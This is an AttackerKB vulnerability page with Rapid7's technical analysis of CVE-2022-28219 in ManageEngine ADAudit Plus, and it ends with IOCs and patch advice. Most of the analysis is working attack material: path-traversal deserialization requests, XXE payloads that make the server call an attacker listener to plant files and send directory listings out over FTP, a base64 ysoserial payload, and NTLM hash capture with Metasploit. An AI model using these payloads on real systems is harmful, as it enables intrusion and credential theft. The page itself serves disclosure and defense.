Unknown
CVE-2022-28219
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Unknown
(0 users assessed)Unknown
(0 users assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Cewolf in Zoho ManageEngine ADAudit Plus before 7060 is vulnerable to an unauthenticated XXE attack that leads to Remote Code Execution.
Add Assessment
No one has assessed this topic. Be the first to add your voice to the community.
General Information
References
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Overview
On June 29, 2022, Horizon3 Attack Team posted a writeup of CVE-2022-28219, which is a Java deserialization issue in ManageEngine ADAudit Plus. Combined with a secondary XXE vulnerability, this leads to remote code execution as the user that executes the ADAudit Plus service.
These issues were confirmed by Zoho and are fixed in ADAudit Plus build 7060. We confirmed the issues on build 7055. Earlier versions are likely also vulnerable.
Because ADAuditPlus is typically an internal tool, there are very few deployed on the Internet (only 17 as of this writing). However, Horizon3 released a full exploit chain, and ADAudit Plus typically contains privileged credentials, so while Rapid7 has not detected exploitation activity as of this writing, we believe that exploitation is likely to occur. We strongly recommend patching to build 7060 or higher as soon as possible.
Technical Analysis
Warning: during our testing, the ManageAD server frequently became unresponsive and had to be restarted. Be cautious if testing in production!
Java Deserialization
The core vulnerability in CVE-2022-28219 is a Java deserialization issue in the /cewolf endpoint. Specifically, the img
parameter is vulnerable to a path traversal issue, which permits an attacker to deserialize any file on the current drive. The following curl command exploits the issue:
curl 'http://target.ip:8081/cewolf/logo.png?img=/../../../../../../../../../../../../../any/file.bin")
The tricky part of this exploit is getting that file onto the filesystem, then finding the full path; however, Horizon3 discovered a blind XXE issue that can be leveraged to do just that!
Blind XXE
To plant a file on the filesystem, Horizon3 used a secondary vulnerability that is fixed in the same patch: a blind XXE vulnerability in the /api/agent/tabs/agentData
endpoint. We developed our own examples based heavily on Horizon3’s work.
First, start an Ncat listener on port 4444:
$ ncat -v -l -p 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
Then send the following JSON payload:
$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType": 0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"http://10.0.0.146:4444/test.txt\"> %xxe;]>"}]' {"success":true,"message":"Successfully events updated"}
The important values in that payload are:
- http://10.0.0.148:8081 – the vulnerable ADAudit Plus server
- http://10.0.0.146:4444 – our Ncat listener
- ad.example.local – a domain that the ADAudit Plus server is familiar with (must be valid)
Sure enough, Ncat receives the connection, which confirms the XXE issue:
$ ncat -l -p 4444 GET /test.txt HTTP/1.1 User-Agent: Java/1.8.0_51 Host: 10.0.0.146:4444 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive
Using the blind XXE, the attacker can:
- Plant an arbitrary file
- Get directory listings to find the file
Let’s look at how!
Side note: Stealing Passwords
It’s worth noting that this XXE vulnerability will attempt to authenticate as the current user, if challenged. As a result, we can use this to capture user credentials without all the other pieces of this attack chain.
First, set up a Metasploit listener:
msf6 > use auxiliary/server/capture/http_ntlm msf6 auxiliary(server/capture/http_ntlm) > exploit [*] Auxiliary module running as background job 0. msf6 auxiliary(server/capture/http_ntlm) > [*] Using URL: http://10.0.0.146:8080/GNs0yMGu [*] Server started.
Then copy that link into an XXE request (setting the DomainName appropriately):
$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType":0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"http://10.0.0.146:8080/GNs0yMGu\"> %xxe;]>[D"}]' {"success":true,"message":"Successfully events updated"}
If done correctly, Metasploit should receive the request along with a password hash:
[...] [*] Using URL: http://10.0.0.146:8080/GNs0yMGu [*] Server started. [*] 2022-07-05 13:39:42 -0700 NTLMv2 Response Captured from DESKTOP-44KEI7L DOMAIN: DESKTOP-44KEI7L USER: Ron LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:94fd25e0534cf7886a44edd07bbd0cd2 NT_CLIENT_CHALLENGE:01010000000000002ea4f95aaf90d8016037ab4170f074b900000000020006004100440032000000000000000000
This password is not required for the actual exploit, however – it’s just an interesting alternative vector.
Planting a File with XXE
When we exploit the XXE issue in ADAudit Plus, the vulnerable server will connect to an HTTP server and request a file. If the request is a .jar file, and we don’t send a Content-Length header or close the connection, the file will eventually be written to the user’s temp folder (this technique was published by Timothy Morgan in 2013).
Updating our Ncat listener from the previous example, we can add headers and a “file” as part of the response, and tell Ncat to keep the socket open:
$ echo -ne 'HTTP/1.1 200 OK\r\nConnection: keep-alive\r\n\r\nThis is a test\r\n' | ncat --no-shutdown -l -p 4444
Then send an XXE request for a .jar file this time (remembering to update DomainName
to a monitored domain):
$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType": 0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:http://10.0.0.146:4444/test.txt!/file.txt\"> %xxe;]>"}]' {"success":true,"message":"Successfully events updated"}
We now see the request go through to the listener, then stay open:
$ echo -ne 'HTTP/1.1 200 OK\r\nConnection: keep-alive\r\n\r\nThis is a test\r\n' | ncat --no-shutdown -l -p 4444 GET /test.txt HTTP/1.1 User-Agent: Java/1.8.0_51 Host: 10.0.0.146:4444 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive
And, on the target host, we can see the file is planted (and sticks around until Ncat is closed):
C:\Users\Ron>dir %temp% Volume in drive C has no label. Volume Serial Number is 440B-3483 Directory of C:\Users\Ron\AppData\Local\Temp [...] 07/05/2022 10:54 AM 0 jar_cache8339952288214533754.tmp [...]
Despite the file showing up as 0 bytes, it actually contains the data we sent:
C:\Users\Ron>type %temp%\jar_cache8339952288214533754.tmp This is a test
Oddly, immediately after reading the file, Windows begins showing the size correctly. Just a weird quirk of Windows!
We can turn this into an actual exploit by using a payload from Horizon3’s proof of concept, which uses a ysoserial payload to execute calc.exe
(other payloads will work as well, of course). First, write the header to a file:
$ echo -ne 'HTTP/1.1 200 OK\r\nConnection: keep-alive\r\n\r\n' > poc.http
Then append the serialized Java object (we’ve included it as compressed Base64):
$ echo -ne 'QlpoOTFBWSZTWfuT3ekABW7/////////////////uL////EQQCwgJY4l0yAQBDpJE4xL0AUXukbdHY1dApQrBKQkk8EmIMmj0I8aoeptDKNMTQxGmmhkHpA9Ew0agAxDQ0NM1NHqPSaMIMg9HpQSUk2U0mp4ak2SeapozUMhoND1BoGaTQGgBhAMgAABpoAMQ0aABoyaBoKaE1JtJhGyCaMTNE9Ew00CNNHqGjRiNDIwJo0wTBG0J6gDajJiDI0ZA0EDJk0xNDJiYjIyYmmAmAJghgAIyYTAgxDCMRiYQANAAaA0wSKJomQJoxAjYgUeFDyh5R6hoaZBp6hpo0AGgA9QGmgAAAepoAAaDqWw810Zo7DcOdVD4Tp+eklS3guq8lhWhEUFCygN9w88mZALgNArTEFCeAkTmUG2ZnAMsmMefgqpaDmAZBtg8nvaBnCfcgKKOEgJ2E8qhJnxNCgNQcvDOS6Tkduvd9yGzIlDEy+SDk/tANY4k5j+PKIY5TBFOKDkQMA1RIhkHUsgqSggEAatY27w7fGlcoGyjR3Il5mdguLEYgOWQuSiAQDrgrAtbxIqMcRgBu9BbAxYmTkEaPVV42PGZHROLPh/xYzkZwbBu/B5Q2iBAjq3DTr2yrH0Akmm2Ep/5CSQAaAivAYueeJtRjDr5witsEOedu3ymbAZREJ8JHZ5RetGjbvc8GY0cS9GTh98TGMwmbB3aj3kbNughjP4XjvnC0rS8D9H5EQSud5pRD02BU0QYJtW22lzmHIa3NxuRdYW5Y99WE9QZAUuQpDMUhfYKwlXq0QPSV4tBAq5PRYAazA/t7zD/WgPuaL7GDPrYcCuc3V15W4JkC0NKkvfLmqJlj6DN2Ij6GOVPTUoUxkpyAojZ0pbCCk0jdkBUioQ0jmCnmClIlYE66RMiwcrkfdQPn5gSZRkDjgkrAW7EY0T8HJBh/w9OCkE2nIKhG0cRjGmr6uJ7ELY2FLRxRaPjuDLpbT8jDTINLknbGkH+C6IvnG6ITAPqfh+E420XdbeGQKZ8LOaNiY53uFwVTT22Lukqat7zPHwBPmcvjDT5vMUuULyBUfHFFNx0mk4+korKc3YktIk50kdgszebCJhyYC2Do4Ll7J39ktmse3bs04l1FoWyXTOCg4gfBsEghzNA5BvDlEboRCOx5EruSQbSFeTJn2REr0Lgh3Y2IlUy7TkgMWeC45QZQoQEbxNni1eL4wOIFdKwSw6610ialJIEQhIQe9JM9qcK5MdVW6Wx4YipjwzZlWKgU8YzCNSSp+f1q9v0dtdJ9EBTGo3PU68C67xEwNxAYrkBXS6GyMrMwukjdMKg0iUJZ5gsETotynNxS06rVchNXBhXKlSu1NoTCAKWkaITHPSr2IlAuMguzZpw41im1opgNIZzBZ1IHg1940sFwSsG+WBKALfGjU0iZahevaCFQi6Mn0DEX1bmpFQw51R5/yFr5ntuDDP2i/ixarAZpiaQXwN9TzzVigYGNhFjijuEaSoggaJ8nNojEiLQKRAD0eITiEYlxtO81zENIcBVwWCmiQoGcOADRE5dATJMpIEgVIQ/f45yQ7qDMLN7KMcAY0ygC4OBoKcLwfD16VckQXbkWhQsIgnpKYlIFWA8WLbplEkkI9Go1GFeFUuUwgwY0WaTaG1FRFGgkJRJgUy6yYiCgGnoTTNjYXIE99uYtz/5IMM0yiYBd0XCsUmSWAmK1JtwFeFe3eyx7F0HU6xrYLKRNKg1oWnpSpuKBBrLHNEwzmSKmtqk4K3rl4sqyIkFqcHZyiKCRKztLMwqrAYpsqJWxWHxj01NlAvkSGS4s/SJxDEBWvk9JeIZ5RZ0ZXKqkfeRXXkRcctDZPFHaZe6VIIaPFOCkPAsNbzadK45lu3X8gRr2PVSw/VFLizS38FAwJ5J2XKN1sdWfc2OlPqYVBezl9dx5LoH5SH/xdyRThQkPuT3ek=' | base64 -d | bunzip2 >> poc.http
Then listen with Ncat, sending the file we created:
$ ncat --no-shutdown -l -p 4444 < poc.http
And send the same XXE request to the vulnerable server, telling it to read the a .jar file from the vulnerable server:
$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType": 0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:http://10.0.0.146:4444/test.txt!/file.txt\"> %xxe;]>"}]' {"success":true,"message":"Successfully events updated"}
That’ll plant the payload on the target server. If we can figure out the filename, we can execute the payload with the Java deserialization bug:
$ curl 'http://10.0.0.148:8081/cewolf/logo.png?img=/../../../../../../../../../../../../../users/Ron/appdata/local/temp/jar_cache1972525510383365883.tmp' Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: <FILE>" to save to a file.
And that does indeed execute the payload:
C:\Users\Ron>tasklist | find "Calc" Calculator.exe 2844 Console 1 36,280 K
The issue, of course, is figuring out the name of that file!
Finding the File with XXE
You might notice that the name of the payload file really isn’t guessable. Thankfully, XXE comes to the rescue again! We can use an XXE server to get directory listings!
Once again, we’ll use Ncat and curl to test this exploit by hand. Basically, we:
- Create an HTTP server for the XXE exploit to connect to, which will expand a directory’s contents and send it to an FTP server
- Create an FTP server that will speak the FTP protocol just long enough to get that directory listing
- Send an XXE exploit to make all this happen
If you think this sounds complicated, you’re right! We’ve included a full proof of concept below, and Horizon3 also has their proof of concept, so you don’t actually have to run any of this if you don’t want to.
First, create the HTTP server that will send the directory contents to FTP; we run this on port 5555 to distinguish it from the earlier payloads (since in the final exploit, this will all have to happen simultaneously)::
$ echo -ne 'HTTP/1.0 200 OK\r\n\r\n<!ENTITY % all "<!ENTITY send SYSTEM \x27ftp://10.0.0.146:2121/%file;\x27>"> %all;\r\n' | ncat -v -l -p 5555 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::5555 Ncat: Listening on 0.0.0.0:5555
Then, create our “good-enough” FTP server using Ncat:
$ echo -ne '200 Howdy\n331 Is this FTP?\n230\n230\n230\n230\n230\n230\n' | ncat -v -l -p 2121 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::2121 Ncat: Listening on 0.0.0.0:2121
And finally, trigger the XXE again, with a new payload this time (remember to change the DomainName
to a real domain that the ADAudit Plus server recognizes):
$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType":0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:\\users\"><!ENTITY % dtd SYSTEM \"http://10.0.0.146:5555/data.dtd\"> %dtd;]><data>&send;</data>"}]'
If everything worked, the FTP server should receive a directory listing – everything after RETR
is the listing of c:\Users
:
$ echo -ne '200 Howdy\n331 is this ftp?\n230\n230\n230\n230\n230\n230\n' | ncat -v -l -p 2121 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::2121 Ncat: Listening on 0.0.0.0:2121 Ncat: Connection from 10.0.0.148. Ncat: Connection from 10.0.0.148:50033. USER anonymous PASS Java1.8.0_51@ TYPE I EPSV ALL EPSV EPRT |1|10.0.0.148|50034| RETR All Users Default Default User desktop.ini Public Ron
The only non-default username on the list is mine – Ron
– so then we want to get a listing for Ron
’s temp folder. So we start the two Ncat servers again and send a new request:
$ curl -X POST 'http://10.0.0.148:8081/api/agent/tabs/agentData' --data-binary '[{"DomainName":"ad.example.local","EventCode":4688,"EventType":0,"TimeGenerated":0,"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:\\users\\ron\\appdata\\local\\temp\"><!ENTITY % dtd SYSTEM \"http://10.0.0.146:5555/data.dtd\"> %dtd;]><data>&send;</data>"}]' {"success":true,"message":"Successfully events updated"}
And this time on our FTP server:
$ echo -ne '200 Howdy\n331 is this ftp?\n230\n230\n230\n230\n230\n230\n' | ncat -v -l -p 2121 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::2121 Ncat: Listening on 0.0.0.0:2121 Ncat: Connection from 10.0.0.148. Ncat: Connection from 10.0.0.148:50052. USER anonymous PASS Java1.8.0_51@ [...] jar_cache7429391271310529128.tmp [...]
And there’s our filename! We can now use the /cewolf
endpoint to deserialize that file:
$ curl 'http://10.0.0.148:8081/cewolf/logo.png?img=/../../../../../../../../../../../../../users/Ron/appdata/local/temp/jar_cache7429391271310529128.tmp'
And execute the serialized Java code!
Putting it all Together
This exploit chain is quite complicated, and hats off to Horizon3 for developing this beat!
To summarize everything you must do:
- “Upload” an arbitrary file to the server using XXE
- Create an HTTP server that serves the malicious serialized Java file, then stays open (using
ncat --no-shutdown
)
- Trigger the XXE endpoint, telling the server to download that file
- Create an HTTP server that serves the malicious serialized Java file, then stays open (using
- While that HTTP connection is open, find the location of the temporary file
- Create an HTTP server that references an FTP server
- Create an FTP server that implements enough of the protocol to get a directory listing
- Trigger the XXE endpoint, passing along the directory that we want the listing of (first
file:/users
, thenfile:/users/<target>/appdata/local/temp
- Create an HTTP server that references an FTP server
- Trigger the deserialization using the path traversal in the
/cewolf
endpoint, the file we uploaded, and that path we determined
You can get Horizon3’s proof of concept here. We also wrote our own exploit, which is simply a re-implementation of Horizon3’s. It is available on Github.
IOCs
Requests to ManageEngine ADAudit Plus are logged in C:\Program Files\ManageEngine\ADAudit Plus\Logs
or C:\Program Files (x86)\ManageEngine\ADAudit Plus\Logs
. EventLog_<date>.txt
will show some attack artifacts:
$ cat EventLog_2022-07-05.txt [...] [13:22:27:899]|[07-05-2022]|[EventLogger]|[INFO]|[143]: Intializing Event Manager| [13:22:41:323]|[07-05-2022]|[EventLogger]|[WARNING]|[144]: Exception in getting ColumnValue for::{CategoryId=11, monitorDomainName=ad.example.local, Task Content=<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY % xxe SYSTEM "jar:http://10.0.0.146:5555/upload.jar!/file.txt"> %xxe; ]> , DomainDnsName=ad.example.local, TimeGenerated=0, DomainName=ad.example.local, EventType=0, MonitorId=70, EventCode=4688}::Row Value::null|
Additionally, accesses to the /cewolf
endpoint in access_log_<date>.txt
should be viewed as very suspicious, especially with a user-agent like Python or Ruby:
- /cewolf/logo.png 338499D537DF96422EAC8573381844AA "-" 10.0.0.146 10.0.0.148 GET [05/Jul/2022:13:22:35 -0700] 110 8331 200 "Ruby"
Guidance
Rapid7 recommends updating ManageEngine ADAudit Plus to build 7060 or higher using a service pack
As an additional defense-in-depth measure, ADAudit Plus should not be exposed to the public internet or other untrusted networks.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: